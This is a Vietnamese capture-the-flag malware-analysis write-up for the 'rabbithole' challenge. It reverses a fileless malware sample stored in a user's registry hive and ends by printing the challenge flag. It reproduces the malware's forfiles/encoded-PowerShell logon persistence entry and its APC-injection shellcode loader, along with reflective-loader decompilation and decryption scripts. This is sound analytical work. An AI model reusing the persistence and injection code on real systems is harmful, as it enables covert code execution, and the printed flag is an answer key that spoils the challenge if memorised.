11 - rabbithole
One of our endpoints was infected with a very dangerous, yet unknown malware strain that operates in a fileless manner. The malware is - without doubt - an APT that is the ingenious work of the Cyber Army of the Republic of Kazohinia.
One of our experts said that it looks like they took an existing banking malware family, and modified it in a way that it can be used to collect and exfiltrate files from the hard drive.
The malware started destroying the disk, but our forensic investigators were able to salvage ones of the files. Your task is to find out as much as you can about the behavior of this malware, and try to find out what was the data that it tried to steal before it started wiping all evidence from the computer.
Good luck!
Ở challenge này chúng ta có file NTUSER.DAT, file này chứa thông tin về Registry của một user.
Giải nén và dùng Registry Explorer để mở file NTUSER.dat này lên:
Registry Explorer là một tool dùng để xem file registry NTUSER.dat dưới dạng cây.
Nhiều mẫu malware sử dụng cmd để start “powershell”, ta tìm thử chuỗi này:
Trong số result, ta thấy key “SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Logon\0\0” có chuỗi base64 nghi ngờ:
- Script:
C:\Windows\System32\forfiles.exe
- Parameters:
/p C:\WINDOWS\system32 /s /c "cmd /c @file -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAVABpAG0AZQByAHAAcgBvACcAKQAuAEQA" /m p*ll.*e
Đoạn registry key trên dùng pattern p*ll.*e
để match (regex ?) “powershell.exe”, dùng để tránh antivirus quét phải cụm từ “powershell”. Paramerter “-ec” dùng để chạy đoạn code đã được mã hóa bằng base64, ta decode đoạn mã này:
iex (gp 'HKCU:\SOFTWARE\Timerpro').D
Trong powershell, iex
dùng để gọi 1 script khác tham khảo.
Ta đến “HKCU\SOFTWARE\Timerpro” để xem key này chứa những gì:
Entry D
chứa 1 đoạn code powershell khác. Ta copy đoạn này ra file mới cho dễ đọc:
$jjw="kcsukccudy";
function hjmk{[System.Convert]::FromBase64String($args[0]);};
[byte[]]$rpl=hjmk("a very long base64 string");
function geapmkxsiw{$kjurpkot=hjmk($args[0]);[System.Text.Encoding]::ASCII.GetString($kjurpkot);};iex(geapmkxsiw("another base64 string"));iex(geapmkxsiw("and another one"));
Sau khi decode các đoạn string bị mã hoá trên, ta được:
$rpl="a lot of bytes ..."
$cqltd="
[DllImport(`"kernel32`")]`npublic static extern IntPtr GetCurrentThreadId();`n
[DllImport(`"kernel32`")]`npublic static extern IntPtr OpenThread(uint nopeyllax,uint itqxlvpc,IntPtr weo);`n
[DllImport(`"kernel32`")]`npublic static extern uint QueueUserAPC(IntPtr lxqi,IntPtr qlr,IntPtr tgomwjla);`n
[DllImport(`"kernel32`")]`npublic static extern void SleepEx(uint wnhtiygvc,uint igyv);";
$tselcfxhwo=Add-Type -memberDefinition $cqltd -Name 'alw' -namespace eluedve -passthru;
$dryjmnpqj="ffcx";$nayw="
[DllImport(`"kernel32`")]`npublic static extern IntPtr GetCurrentProcess();`n
[DllImport(`"kernel32`")]`npublic static extern IntPtr VirtualAllocEx(IntPtr wasmhqfy,IntPtr htdgqhgpwai,uint uxn,uint mepgcpdbpc,uint xdjp);";
$ywqphsrw=Add-Type -memberDefinition $nayw -Name 'pqnvohlggf' -namespace rmb -passthru;
$jky="epnc";
$kwhk=$tselcfxhwo::OpenThread(16,0,$tselcfxhwo::GetCurrentThreadId());
if($yhibbqw=$ywqphsrw::VirtualAllocEx($ywqphsrw::GetCurrentProcess(),0,$rpl.Length,12288,64))
{
[System.Runtime.InteropServices.Marshal]::Copy($rpl,0,$yhibbqw,$rpl.length);
if($tselcfxhwo::QueueUserAPC($yhibbqw,$kwhk,$yhibbqw))
{
$tselcfxhwo::SleepEx(5,3);
}
}
Đoạn code trên thực hiện:
- Copy data ở biến
$rpl
vào 1 buffer được tạo bởiVirtualAlloc
. - Tạo 1 thread với
QueueUserAPC
với tham sốpfnAPC
là buffer vừa tạo ở trên, chứng tỏ đoạn data này là 1 đoạn shellcode. - Sau đó nó đợi thread thực hiện xong bằng
SleepEx
.
Ta cùng xem đoạn shellcode bằng HxD trước khi phân tích nó.
Ta có thể thấy 2 bytes PE ở offset 0x10, nếu ta tiếp tục kéo xuống thì sẽ thấy rất nhiều byte 0x00, cho tới offset 0x1000 thì ta lại thấy rất nhiều bytes random. Khả năng cao đây là file PE nhưng đã bị phá huỷ mất DOS HEADER.
5 bytes đầu của file này là e9 f7 99 00 00
, disassemble ta được “jmp 0x99fc”, ta bỏ file này vào IDA rồi tới offset 0x99FC để phân tích hàm này:
__int64 __fastcall sub_99FC(__int64 a1)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
v1 = 0i64;
pBase = a1;
v3 = 0i64;
v4 = 0;
pLdrLoadDll = 0i64;
pLdrGetProcedureAddress = 0i64;
nt_base = *(_QWORD *)(**(_QWORD **)(*(_QWORD *)(*(_QWORD *)(__readgsqword(0x30u) + 0x60) + 0x18i64) + 0x10i64)
+ 0x30i64) & 0xFFFFFFFFFFFFF000ui64;
pFirstDataDirectory = (IMAGE_DATA_DIRECTORY *)*(unsigned int *)((char *)&unk_88
+ *(int *)((char *)&unk_3C + nt_base)
+ nt_base);
if ( !(_DWORD)pFirstDataDirectory )
{
goto LABEL_17;
}
v4 = 1;
ex_entry_count = *(ULONG *)((char *)&pFirstDataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress + nt_base);
ex = nt_base + *(ULONG *)((char *)&pFirstDataDirectory[3].Size + nt_base);
security_data = (unsigned int *)(nt_base
+ *(ULONG *)((char *)&pFirstDataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress
+ nt_base));
for ( i = (unsigned __int16 *)(nt_base + *(ULONG *)((char *)&pFirstDataDirectory[4].Size + nt_base)); ; ++i )
{
LODWORD(len) = 0;
v12 = (_BYTE *)(*security_data + nt_base + 2);
if ( *v12 )
{
do
{
len = (unsigned int)(len + 1);
}
while ( v12[len] ); // __inline_strlen
}
if ( !v1 )
{
if ( (_DWORD)len == 8 && *(_DWORD *)v12 == 'aoLr' )// LdrLoadDll
{
v1 = nt_base + *(unsigned int *)(ex + 4i64 * *i);
pLdrLoadDll = (int (__fastcall *)(_QWORD, _QWORD, __int16 *, __int64 *))(nt_base
+ *(unsigned int *)(ex + 4i64 * *i));
}
goto LABEL_10;
}
if ( v3 )
{
break;
}
LABEL_10:
if ( !v3 && (_DWORD)len == 20 && *(_DWORD *)v12 == 'teGr' )// LdrGetProcedureAddress
{
v3 = nt_base + *(unsigned int *)(ex + 4i64 * *i);
pLdrGetProcedureAddress = (int (__fastcall *)(__int64, __int16 *, _QWORD, char *))(nt_base
+ *(unsigned int *)(ex + 4i64 * *i));
}
++security_data;
if ( !--ex_entry_count )
{
return v4;
}
}
v4 = 0;
LABEL_17:
_pBase = (_DWORD *)(pBase & 0xFFFFFFFFFFFFF000ui64);
*_pBase = 0; // ---------------------> zeroing PE information
v14 = (IMAGE_NT_HEADERS64 *)((char *)_pBase + (int)_pBase[15]);
import_RVA = v14->OptionalHeader.DataDirectory[1].VirtualAddress;
if ( !(_DWORD)import_RVA )
{
goto LABEL_63;
}
v14->OptionalHeader.DataDirectory[1].VirtualAddress = 0;// --------------------> zeroing PE information
v16 = (PIMAGE_IMPORT_DESCRIPTOR)((char *)_pBase + import_RVA);
while ( v16->Name )
{
v17 = v16->Characteristics;
v18 = v16->FirstThunk;
if ( v16->Characteristics || (v17 = v16->FirstThunk, (_DWORD)v18) )
{
v19 = v17;
LODWORD(v20) = 0;
pNameDll = (char *)_pBase + v16->Name;
v22 = (const signed __int64 *)((char *)_pBase + v17);
v23 = *pNameDll;
if ( *pNameDll )
{
v24 = 0i64;
do
{
v20 = (unsigned int)(v20 + 1);
v45[v24] = v23;
v23 = pNameDll[v20];
v24 = (unsigned int)v20;
}
while ( v23 );
}
*pNameDll = 0; // -----------------> zeroing PE information
v42 = 2 * v20;
v41 = 2 * v20;
v43 = v45;
if ( pLdrLoadDll(0i64, 0i64, &v41, &v48) < 0 )
{
v4 = 126;
break;
}
v25 = *v22;
if ( *v22 )
{
v26 = v18 - v19;
v44 = v18 - v19;
while ( 1 )
{
v27 = 0;
v28 = 0i64;
if ( _bittest64(v22, 0x3Fu) )
{
if ( v25 < (unsigned __int64)_pBase || v25 >= (unsigned __int64)_pBase + v14->OptionalHeader.SizeOfImage )
{
v27 = *(_WORD *)v22;
}
else
{
v28 = (__int16 *)v25;
}
}
else
{
v28 = (__int16 *)((char *)_pBase + *(unsigned int *)v22);
}
if ( v28 )
{
pNameDll = (char *)(v28 + 1);
LODWORD(v29) = 0;
if ( *((_BYTE *)v28 + 2) )
{
do
{
v29 = (unsigned int)(v29 + 1);
}
while ( pNameDll[v29] );
}
v43 = v28 + 1;
v42 = v29;
v41 = v29;
v28 = &v41;
}
if ( pLdrGetProcedureAddress(v48, v28, v27, (char *)v22 + v26) < 0 )
{
break;
}
if ( v28 )
{
*pNameDll = 0; // -------------> zeroing PE information
}
v26 = v44;
++v22;
v25 = *v22;
if ( !*v22 )
{
goto LABEL_44;
}
}
v4 = 127;
}
}
LABEL_44:
++v16;
if ( v4 )
{
break;
}
}
if ( !v4 )
{
LABEL_63:
v30 = v14->OptionalHeader.DataDirectory[5].VirtualAddress;// relocate
v31 = (_DWORD *)((char *)_pBase + v14->OptionalHeader.AddressOfEntryPoint);
if ( (_DWORD)v30 )
{
v32 = v14->OptionalHeader.DataDirectory[5].Size;
v33 = (_DWORD *)((char *)_pBase + v30);
delta = (ULONGLONG)_pBase - v14->OptionalHeader.ImageBase;
v14->OptionalHeader.ImageBase = (ULONGLONG)_pBase;
while ( v32 > 8 )
{
v35 = v33[1];
v36 = (char *)_pBase + *v33;
nEntry = (unsigned __int64)(v35 - 8) >> 1;
if ( (int)v32 >= (int)v35 && (_DWORD)nEntry )
{
v38 = v33 + 2;
nEntry = (unsigned int)nEntry;
do
{
if ( (*v38 & 0xF000) == 0xA000u )
{
*(_QWORD *)&v36[*v38 & 0xFFF] += delta;
}
++v38;
--nEntry;
}
while ( nEntry );
}
v39 = v33[1];
v32 -= v39;
v33 = (unsigned int *)((char *)v33 + v39);
}
}
if ( !((unsigned int (__fastcall *)(_DWORD *, __int64, _QWORD))v31)(
_pBase,
1i64,
*(_QWORD *)&v14->FileHeader.PointerToSymbolTable) ) // <----- call DllMain ?
{
v4 = 1;
}
}
return v4;
}
Đoạn code trên sử dụng kỹ thuật Reflective load dll (ngoài ra sau khi load được dll lên bộ nhớ, nó cũng zeroing một số phần data để gây khó khăn cho việc dump và phân tích).
Để dễ dàng debug chương trình trên, mình thêm 1 dòng trước khi đoạn script thực hiện VirtualAlloc
:
Write-Host -Object ('The key that was pressed was: {0}' -f [System.Console]::ReadKey().Key.ToString());
Đoạn code trên sẽ đợi người dùng bấm 1 phím bất kỳ, như vậy ta sẽ có thời gian để attach debugger vào “powershell.exe”.
Ta tiến hành debug đoạn script powershell như sau:
-
Chạy đoạn script trên, chương trình sẽ đợi ta bấm gì đó từ bàn phím.
-
Dùng windbg, attach vào powershell.exe.
-
Viết 1 đoạn windbg script để thực hiện việc nhảy tới chỗ shellcode cho nhanh:
-
.block { bp kernel32!QueueUserApcStub g bp @rcx r $t0 = @rcx g }
-
Thực thi đoạn script trên bằng lệnh: “$$>a<C:\Users\admin\Desktop\11_-_rabbithole\script.txt” (bạn đọc tự thay đổi đường dẫn).
- Sau đó bấm phím bất kỳ trong powershell, khi đó ta sẽ dừng lại ở đây:
Mẹo: dùng script khi phải làm những việc lặp đi lặp lại giúp tiết kiệm rất nhiều thời gian.
Để dump được file dll ra, ta sẽ:
- Đặt breakpoint ngay trước khi nó kịp gọi
DllMain
. - Trong hàm
sub_99FC
có 1 số chỗ zeroing IAT, v.v …, ta sẽ patch những đoạn đó bằng 0x90 nop.
Đoạn script sau sẽ làm cả 2 điều ở trên:
.block
{
bp kernel32!QueueUserApcStub
g
bp @rcx
r $t0 = @rcx
eb @$t0+0x9B0E+0x00 0x90
eb @$t0+0x9B0E+0x01 0x90
eb @$t0+0x9B0E+0x02 0x90
eb @$t0+0x9B26+0x00 0x90
eb @$t0+0x9B26+0x01 0x90
eb @$t0+0x9B26+0x02 0x90
eb @$t0+0x9B26+0x03 0x90
eb @$t0+0x9B26+0x04 0x90
eb @$t0+0x9B26+0x05 0x90
eb @$t0+0x9B26+0x06 0x90
eb @$t0+0x9B83+0x00 0x90
eb @$t0+0x9B83+0x01 0x90
eb @$t0+0x9B83+0x02 0x90
eb @$t0+0x9B83+0x03 0x90
eb @$t0+0x9C52+0x00 0x90
eb @$t0+0x9C52+0x01 0x90
eb @$t0+0x9C52+0x02 0x90
eb @$t0+0x9C52+0x03 0x90
bp @$t0+0x9D1C
g
g
bc *
}
Sau khi chạy đoạn script trên, ta kiểm tra SizeOfImage trong IMAGE_NT_HEADERS để dump file này ra cho chính xác:
0:015> dt -r nt!_IMAGE_NT_HEADERS64 @$t0
ntdll!_IMAGE_NT_HEADERS64
+0x000 Signature : 0x99f7e9
+0x004 FileHeader : _IMAGE_FILE_HEADER
+0x000 Machine : 0x3400
+0x002 NumberOfSections : 6
+0x004 TimeDateStamp : 0x5e61316e
+0x008 PointerToSymbolTable : 0xbcb280df
+0x00c NumberOfSymbols : 0x13b54550
+0x010 SizeOfOptionalHeader : 0xf0
+0x012 Characteristics : 0x203c
+0x018 OptionalHeader : _IMAGE_OPTIONAL_HEADER64
+0x000 Magic : 0x28df
+0x002 MajorLinkerVersion : 0x7a 'z'
+0x003 MinorLinkerVersion : 0x7f ''
+0x004 SizeOfCode : 0xda00
+0x008 SizeOfInitializedData : 0x2e00
+0x00c SizeOfUninitializedData : 0
+0x010 AddressOfEntryPoint : 0x3e58
+0x014 BaseOfCode : 0x1000
+0x018 ImageBase : 0x0000019e`76340000
+0x020 SectionAlignment : 0x1000
+0x024 FileAlignment : 0
+0x028 MajorOperatingSystemVersion : 4
+0x02a MinorOperatingSystemVersion : 0
+0x02c MajorImageVersion : 0
+0x02e MinorImageVersion : 0
+0x030 MajorSubsystemVersion : 5
+0x032 MinorSubsystemVersion : 2
+0x034 Win32VersionValue : 0
+0x038 SizeOfImage : 0x15000
+0x03c SizeOfHeaders : 0x400
+0x040 CheckSum : 0
+0x044 Subsystem : 2
+0x046 DllCharacteristics : 0
+0x048 SizeOfStackReserve : 0x100000
+0x050 SizeOfStackCommit : 0x1000
+0x058 SizeOfHeapReserve : 0x100000
+0x060 SizeOfHeapCommit : 0x1000
+0x068 LoaderFlags : 0
+0x06c NumberOfRvaAndSizes : 0x10
+0x070 DataDirectory : [16] _IMAGE_DATA_DIRECTORY
+0x000 VirtualAddress : 0x105a0
+0x004 Size : 0x171
SizeOfImage là 0x15000, ta dump bằng lệnh sau:
.writemem C:\Users\admin\Desktop\11_-_rabbithole\dll2.dll @$t0 L15000
Dùng PE-Bear để xem thông tin về file mới nhận được:
Lý do lỗi là vì, file ta vừa nhận được cũng không hề có DOS HEADER. Ở đây mình sửa file như sau:
- Copy phần DOS HEADER từ file khác insert vào đầu file này, pad bằng \x00 cho đủ 0x1000 bytes.
- Chỗ nào trong PE-header liên quan tới RVA, cộng thêm 0x1000 (Data Directory, EntryPoint, …).
File mới đã có thể được nhận dạng bởi PE-Bear:
Nếu bạn đọc làm lại bước này thì imagebase sẽ khác mình, tuy nhiên các offset sẽ vẫn giống.
Ta phân tích file này bằng IDA:
Tuy nhiên có nhiều chỗ hiện màu đỏ như trên, đó là vì bảng IAT
bị sai. Bây giờ ta sửa tiếp như sau, đầu tiên lấy offset con trỏ hàm 0x7FFAEF4D1B80:
Vậy offset là 0x200C7380090 - imagebase - 0x1000 = 0xF090 , lý do trừ 0x1000 là vì ta đã thêm 0x1000 bytes vào làm DOS HEADER. Đến đây, ta dùng windbg để xem các symbol tại địa chỉ này:
0:015> dps @$t0+0xF090 L5
00000283`ab17f090 00007ff8`6cd21b80 KERNEL32!CloseHandle
00000283`ab17f098 00007ff8`6cd21d20 KERNEL32!SetEvent
00000283`ab17f0a0 00007ff8`6cd1f850 KERNEL32!lstrcpyW
00000283`ab17f0a8 00007ff8`6db60850 ntdll!RtlRemoveVectoredExceptionHandler
00000283`ab17f0b0 00007ff8`6cd21c40 KERNEL32!CreateMutexW
Ta có thể thấy 0x7ff86cd21b80 chính là hàm CloseHandle
. Ta copy hết kết quả trên ra file khác, dùng đoạn script idapython sau để rename hết tên hàm:
def rename():
with open('realfunc.txt', 'r') as f:
for i,line in enumerate(f):
line = line.strip()
line = line.split(' ')
addr = int(line[0], 16)
if addr == 0:
continue
name = line[1].replace('!', '_').replace('Stub', '')
set_name(0x200C7380000+8*i, name)
# realfunc.txt format:
# 00007ff86cd21b80 KERNEL32!CloseHandle
# ...
Sau khi rename, ta đã có file ida dễ dàng phân tích hơn.
Tiếp theo ta sử dụng gợi ý của đề bài:
One of our experts said that it looks like they took an existing banking malware family …
Thông tin mà mình tìm được khi google:
Kết hợp với source code trên, ta có thể bỏ bớt một số hàm cần phải RE. Bây giờ ta phân tích tiếp hàm sub_200C7373E21C
:
Hàm sub_200C737E21C
sẽ trả về một chuỗi ngẫu nhiên, sau đó tạo một registry key với tên này. Nó sử dụng xorshift64 để làm hàm random, với seed được tạo ra ở hàm sub_200C737D928
như sau:
Seed sẽ dựa vào giá trị SID của user. Ở đây ta phải patch giá trị seed trên cho bằng đúng với giá trị seed trên máy nạn nhân. Các công việc cần làm là:
- Tìm SID của nạn nhân (tìm chuỗi “S-1-5-21” trong Registry Explorer, -> “S-1-5-21-3823548243-3100178540-2044283163”)
- Patch memory SID bằng windbg khi chạy trên máy chúng ta bằng chuỗi SID vừa tìm ở trên.
- Quan sát giá trị seed -> 0x55707b4efb307bfa.
- Các lần chạy sau đó không patch SID nữa mà patch seed luôn.
Sau khi patch xong, debug (mình đã ngồi bấm step in, step out rất nhiều) và quan sát trong IDA
thì ta thấy:
- Program này đọc registry key “HKEY_CURRENT_USER\Software\Timerpro\Columncurrent\WebsoftwareProcesstemplate” và “HKEY_CURRENT_USER\Software\Timerpro\Languagetheme\WebsoftwareProcesstemplate”.
- Decrypt 2 giá trị trên bằng RSA (và Serpent).
- Giải nén giá trị trên bằng ApLib.
- Thực hiện inject 1 trong 2 giá trị trên vào explorer.exe. (Columncurrent cho x64, LanguageTheme cho x86).
Đến đây ta viết đoạn code để dump và decrypt các giá trị registry trên:
# python 3
import winreg
import os
def dump(subkey_name: str):
template = 'Software\\Timerpro\\'
hKey = winreg.OpenKey(winreg.HKEY_CURRENT_USER, template + subkey_name)
i = 0
try:
os.mkdir(subkey_name)
except OSError:
pass
while True:
try:
s = winreg.EnumValue(hKey, i)
with open(subkey_name + '\\' + s[0], 'wb') as f:
f.write(s[1])
i = i + 1
except Exception as e:
break
winreg.CloseKey(hKey)
if __name__ == '__main__':
dump('Columncurrent')
# python 3
import serpent
import hashlib
from binascii import a2b_hex, b2a_hex
from sys import argv
class PublicRSAKey:
def __init__(self, e: int, n:int):
self.e = e
self.n = n
def md5(s: bytes) -> bytes:
return hashlib.md5(s).digest()
def RSAPublicDecrypt(m: int, e: int, n: int) -> int:
# Calculate (m^e)%n
return pow(m,e,n)
def unsign_data(data: bytes, key: PublicRSAKey) -> tuple:
# return (True, data) if verify successfully
# else return (False, )
if len(data) <= 128:
return (False, )
ds = data[-128:]
ds = int.from_bytes(ds, 'big')
p = RSAPublicDecrypt(ds, key.e, key.n)
p = p.to_bytes(128, 'big')
if not p.startswith(b'\x00\x01'):
return (False, )
i = 2
while i < len(p):
if p[i] == 0:
break
i = i + 1
if i == len(p):
return (False, )
p = p[i + 1:]
signed_md5_hash = p[0:16]
serpent_key = p[16:32]
decrypted_size = int.from_bytes(p[32:36], 'little')
decrypted_data = serpent.serpent_cbc_decrypt(serpent_key, data[:-128], b'\x00'*16)[:decrypted_size]
md5_hash = md5(decrypted_data)
if signed_md5_hash == md5_hash:
return (True, decrypted_data)
return (False, )
if __name__ == '__main__':
if len(argv) != 2:
print ('[+] python dec.py <filename>')
exit(1)
n = \
"c3da263df172293373b0431e"+\
"e00bac4c3db723bee2d9ccc0a7ef8d03"+\
"68c33c577df7e64f09503437e9178533"+\
"c9f3b4d4eebd7fe1075e2e553939d43c"+\
"25eb8a89a5fd7ad5f8a52c20713ae878"+\
"cf2b1f322acfe8b7c55dad60b3520614"+\
"19fa713c903d9efc36baf95185880d03"+\
"ec165a51186cf1c323bc58c40b85fcbc"+\
"7fa162ad"
n = int.from_bytes(a2b_hex(n), 'big')
e = 0x10001
rsa_key = PublicRSAKey(e, n)
with open(argv[1], 'rb') as f:
data = f.read()
res = unsign_data(data, rsa_key)
if res[0] == True:
with open(argv[1] + '.decrypt', 'wb') as f:
f.write(res[1])
print ('[+] Unsigned %s (%d bytes -> %d bytes) !' % (argv[1], len(data), len(res[1])))
else:
print ('[+] Wrong signature !')
# python3
from sys import argv
import aplib
if __name__ == '__main__':
with open(argv[1], 'rb') as f:
data = f.read()
d = aplib.decompress(data[20:], True)
with open(argv[1] + '.decompressed', 'wb') as f:
f.write(d)
print ('[+] %s: %d -> %d bytes' % (argv[1], len(data), len(d)))
Với 3 đoạn code trên, ta decrypt được rất nhiều file, trong đó có vài file bắt đầu bằng “PX” (và cũng có file không decrypt được, có lẽ là vì những file đó không được encrypt theo cách này):
File này sẽ được malware decode trước khi inject vào process. Ta dùng code ở bài này để decode file PX về dạng PE file rồi dùng IDA phân tích:
Sau khi decode hết các file PX, ta có được rất nhiều file dll nhưng không biết chúng được load theo thứ tự nào. Có quá nhiều file nên việc phân tích tĩnh rất khó khăn.
Mình đã dành ra khoảng 10 ngày để phân tích tĩnh các file dll đó, nhưng vẫn không thấy được gì có ích cho việc tìm flag. Vì sắp hết thời gian nên mình đã dừng việc phân tích tĩnh lại để tìm một hướng đi khác.
Procmon to the rescue
Đoán rằng các file .dll trên sẽ được inject vào explorer.exe, ta dùng procmon để theo dõi explorer.exe (đừng quên patch seed):
Chạy file powershell và quan sát:
Ta thấy explorer đang cố gắng đọc hoặc ghi file gì đó ở “%appdata%\Microsoft\Oldsolution” và “%tmp%”. Tiếp theo, ta thử ném vào trong thư mục “Oldsolution” 1 file bất kỳ và làm lại như trên:
Lần này thì file chúng ta vừa tạo ra đã được program access. (Và nếu ta quay lại Oldsolution để xem thì file này cũng bị xoá luôn). Ta đến thư mục %tmp% để xem file B1FC.bin:
File của chúng ta đã bị nén lại (zip) và ghi ra %tmp%\B1FC.bin. Ngoài ra trong procmon còn 1 chỗ nữa thú vị:
Nó ghi gì đó vào registry, length = 1607200, nếu ta coi lại size của file B1FC.bin:
Ta có thể thấy gần bằng nhau, có thể đoán là file B1FC.bin đã được thêm padding, sau đó ghi lên registry. Ta thử xem “HKCU\Software\Timerpro\DiMap” chứa gì:
Vậy là file này còn bị mã hoá trước khi ghi vào registry. Biết được rằng file sẽ bị mã hoá rồi sau đó được ghi lên registry, ta có thể làm như sau:
- Đặt breakpoint tại
ZwSetValueKey
(nếu bạn debug program này thì sẽ thấy nó xài rất nhiều hàmZw
, đó là lý do mình không đặt breakpoint tạiRegSetValueExA
và các hàm tương tự …) - Khi dừng lại tại breakpoint này ta kiểm tra xem key name có phải là “DiMap” không, nếu không thì continue.
- Nếu là “DiMap”, ta bắt đầu quan sát stack trace, sau 1 vài stack call thì thấy hàm
sub_180001000
của “WebmodeThemearchive.dll” dùng để mã hoá file zip.
Nó sẽ gọi hàm export có ordinal 27 của 8576b0d0.dll (file này thực ra là WebsoftwareProcesstemplate.dll), mà hàm 27 lại gọi hàm sau:
__int64 __fastcall DE_EN_serpent256(__int64 dataIn, unsigned int a2, __int64 *pDataOut, unsigned int *pLenInAndOut, __int64 key16_byte, int isEncrypt)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
v6 = 0i64;
_a4 = pLenInAndOut;
_a3 = pDataOut;
_a2 = a2;
_a1 = dataIn;
v11 = 8;
if ( isEncrypt )
{
v12 = (a2 + 15) & 0xFFFFFFF0;
if ( a2 != v12 )
{
v13 = DbgHeapAlloc_0300(v12);
v6 = v13;
if ( v13 )
{
j_ntdll_memset(v13, 0i64, v12);
j_nt_memcpy_558(v6, _a1, _a2);
}
_a1 = v6;
}
}
else
{
v12 = a2 & 0xFFFFFFF0;
}
if ( _a1 )
{
v14 = DbgHeapAlloc_0300(v12);
if ( v14 )
{
mb_init_serpent_238C(&ctx, key16_byte);
*_a3 = v14;
*_a4 = v12;
if ( v12 >> 4 )
{
v15 = v12 >> 4;
do
{
if ( isEncrypt )
{
mb_dec_serpent_4F8C(&ctx, _a1, v14);
}
else
{
mb_enc_serpent_8544(&ctx, _a1, v14);
}
_a1 += 4;
v14 += 4;
--v15;
}
while ( v15 );
}
v11 = 0;
}
}
if ( v6 )
{
DbgHeapFree_02F8(v6);
}
return v11;
}
Vậy là data zip của chúng ta bị mã hoá bằng SERPENT. Sau đó, data bị mã hoá được đưa tiếp vào hàm sub_180004BB3
:
void __usercall sub_180004BB3(__int64 a1@<r12>)
{
__int64 v1; // rdi
__int64 (__fastcall *v2)(_QWORD); // rax
__int64 v3; // rdx
__int64 v4; // rcx
v1 = *(a1 + 24);
v2 = d6306e08_57;
LOWORD(v2) = d6306e08_57 - 0x454;
(v2)(*(a1 + 24), *(a1 + 40), *(qword_180006070 + 120), 0i64);// encrypt one more time
LOBYTE(v3) = 3;
LOWORD(v4) = 32639;
8576b0d0_79(v4, v3, v1);
}
Ở hình trên, d6306e08 là file WordlibSystemser.dll, hàm có số ordinal 57 nằm ở 0x1800028EC, vậy v2 = 0x1800028EC-0x454 = 0x180002498
:
.text:0000000180002498 public _43
.text:0000000180002498 _43 proc near ; DATA XREF: .rdata:off_18000F1F8↓o
.text:0000000180002498 ; .pdata:00000001800110F0↓o
.text:0000000180002498 jmp _43_0
.text:0000000180002498 _43 endp
Hàm này chính là hàm có ordinal 43
, ta tới hàm này:
void __fastcall 43_0(__int64 a1, unsigned int a2, int a3, int a4)
{
int v4; // er10
int v5; // er11
unsigned int v6; // edx
int v7; // ebx
_DWORD *v8; // rax
int v9; // er8
char v10; // cl
bool v11; // zf
v4 = 0;
v5 = 0;
v6 = a2 >> 2;
v7 = a3;
if ( v6 )
{
v8 = (_DWORD *)(a1 + 8);
do
{
v9 = *(v8 - 2);
if ( a4 && !v9 && v6 > 3 && !*(v8 - 1) && !*v8 && !v8[1] )
break;
v10 = v5;
++v8;
v5 ^= 1u;
v4 ^= v7 ^ __ROR4__(v9, 4 * v10);
v11 = v6-- == 1;
*(v8 - 3) = v4;
}
while ( !v11 );
}
}
Tóm lại: data zip của chúng ta sẽ bị mã hoá 2 lần trước khi ghi vào registry
- Lần đầu là mã hoá Serpent (quan sát trong debugger, key là “GSPyrv3C79ZbR0k1”).
- Lần sau là một đoạn custom crypto không quá khó (quan sát trong debugger, key luôn là 0xFB307BFA, nhưng phải patch đúng seed).
Giờ ta viết đoạn mã decrypt là xong:
# python3
import serpent
def rol32(n: int, i: int) -> int:
return ((n << i) & 0xFFFFFFFF) | (n >> (32 - i))
def decrypt_base(data: bytes, key: int):
assert 0 <= key <= 0xFFFFFFFF # 4 bytes key !
assert len(data) % 4 == 0 # size must be aligned
n = len(data) >> 2
data = [int.from_bytes(data[4*i:4*i+4], 'little') for i in range(n)]
data2 = [i for i in data]
for i in range(n):
if i == 0:
data2[i] = (key ^ data[i])
else:
data2[i] = (key ^ data[i]) ^ data[i - 1]
data2[i] = rol32(data2[i], 4*(i % 2))
r = []
for i in range(n):
for j in [0, 1, 2, 3]:
r.append((data2[i] >> (8*j)) & 0xFF)
return bytearray(r)
if __name__ == '__main__':
with open('DiMap', 'rb') as f:
data = f.read()
data = decrypt_base(data, 0xFB307BFA)
serpent_key = b'GSPyrv3C79ZbR0k1'
data = serpent.serpent_cbc_decrypt(serpent_key, data)
with open('out.zip', 'wb') as f:
f.write(data)
print ('[+] Done!')
Sau khi chạy đoạn code trên ta được file zip mới, chứa flag:
r4d1x_m4l0rum_357_cup1d1745@flare-on.com